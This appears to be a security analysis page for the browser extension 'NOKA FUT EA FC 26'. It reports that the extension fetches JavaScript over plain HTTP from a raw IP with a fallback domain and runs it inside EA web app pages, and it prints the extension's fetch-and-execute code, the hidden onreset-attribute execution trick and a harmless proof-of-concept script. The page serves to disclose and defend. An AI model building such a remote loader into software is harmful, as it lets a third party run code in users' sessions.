Is NOKA FUT EA FC 26 safe?
NOKA FUT EA FC 26 fetches HTTP JavaScript from 35.180.119.144 and executes it inside EA WebApp pages.
When an EA page loads, the extension asks its background worker to request a cleartext rets.php?code=compiled script with the extension ID and version. It then runs the returned text inside the EA page through a temporary page event handler, using nokafut.com as a fallback if the primary endpoint fails.
Who publishes itNokaFut - no other listings under this identity
NokaFut - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
NOKA FUT EA FC 26 fetches and runs remote code on every EA web app page
Every time you open an EA Sports FC Ultimate Team page, the extension fetches code from a remote server over plain HTTP and runs the response as JavaScript inside the page.
We confirmed the request and execution technique work end to end.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You open an EA Sports FC Ultimate Team web app page.
For example ea.com/ea-sports-fc/ultimate-team/web-app/.
The extension immediately fetches code from a remote server over plain HTTP and runs the response text as JavaScript inside the EA page.
The primary server did not respond in testing, so the extension automatically fell back to a second server, which returned a live response.
200 OK, body `[{'animation',true}]` (observed during dynamic analysis; too short to be functioning code as captured, but the server accepted the request and returned live content)
none (GET request, parameters are in the query string)Fetch-and-execute chain across the content script and background worker
Content script: builds the request and runs the response
contentScript.bundle.jsconst endpoints = [PRIMARY_ENDPOINT, "http://nokafut.com/ext/rets.php?code=compiled"];let attempt = 0;function requestAndRun(kind, endpoint, version) { chrome.runtime.sendMessage( { content: kind, que: endpoint, verOverride: version }, (responseText) => { const fetchFailed = !responseText || responseText.carit; if (fetchFailed && kind === "compiled" && attempt + 1 < endpoints.length) { attempt++; requestAndRun("compiled", endpoints[attempt], version); // try the next endpoint } else { // Run the fetched text as JavaScript in this page document.documentElement.setAttribute("onreset", responseText); document.documentElement.dispatchEvent(new CustomEvent("reset")); document.documentElement.removeAttribute("onreset"); } } );}Content script: the call site, fired immediately on load
contentScript.bundle.jsrequestAndRun("compiled", endpoints[0], "2.50");Endpoint constant
contentScript.bundle.js (module 889)export const PRIMARY_ENDPOINT = "http://35.180.119.144/nokajs/rets.php?code=compiled";Background service worker: the fetch handler
background.bundle.jschrome.runtime.onMessage.addListener((message, sender, sendResponse) => { if (message.content === "compiled") { const controller = new AbortController(); const timeout = setTimeout(() => controller.abort(), 3000); const version = message.verOverride?.trim() || chrome.runtime.getManifest().version; fetch(`${message.que}&id=${chrome.runtime.id}&ver=${version}`, { signal: controller.signal }) .then((res) => res.text()) .then((text) => { clearTimeout(timeout); sendResponse(text); }) .catch(() => sendResponse({ carit: true })); return true; // keep the message channel open for the async response }});- 35.180.119.144
Primary code-delivery endpoint, addressed by raw IP with no reverse DNS. Did not respond in either dynamic-analysis run.
- nokafut.com
Fallback code-delivery endpoint. Returned a live HTTP 200 response when the primary host was unreachable.
Runs a harmless marker string through the same attribute-plus-event technique the extension uses, showing that arbitrary text becomes executable JavaScript in the page.
// Demonstrates the extension's execution sink: setAttribute('onreset', <text>)// followed by dispatchEvent(new CustomEvent('reset')) runs <text> as JavaScript// in the current page. Run this in the DevTools console on an EA FUT page.const proofText = "window.__poc_marker__ = 'sink-confirmed-' + Date.now();";document.documentElement.setAttribute("onreset", proofText);document.documentElement.dispatchEvent(new CustomEvent("reset"));document.documentElement.removeAttribute("onreset");console.log("Marker set by the sink:", window.__poc_marker__);- 1Open an EA Sports FC Ultimate Team web app page.
- 2Open DevTools and go to the Console tab.
- 3Paste and run this script.
- 4Read back window.__poc_marker__ to confirm execution.
What it can do
Permissions this extension asks for, as declared in version 2.6.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on ea.com
*://*.ea.com/
Read and change your data on futbin.com
*://*.futbin.com/
Read and change your data on futbin.org
*://*.futbin.org/
Read and change your data on futwiz.com
*://*.futwiz.com/
Read and change your data on ajax.googleapis.com
*://ajax.googleapis.com/
Read and change your data on fut.gg
*://*.fut.gg/
Read and change your data on easysbc.io
*://*.easysbc.io/
Store data in your browser
storage
Store an unlimited amount of data in your browser
unlimitedStorage
Where it sends data
Destinations our analysis observed NOKA FUT EA FC 26 contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- 35.180.119.144
NOKA FUT EA FC 26 sends data to 35.180.119.144. No other extension we have analysed sends data here.
- nokafut.com
NOKA FUT EA FC 26 sends data to nokafut.com. No other extension we have analysed sends data here.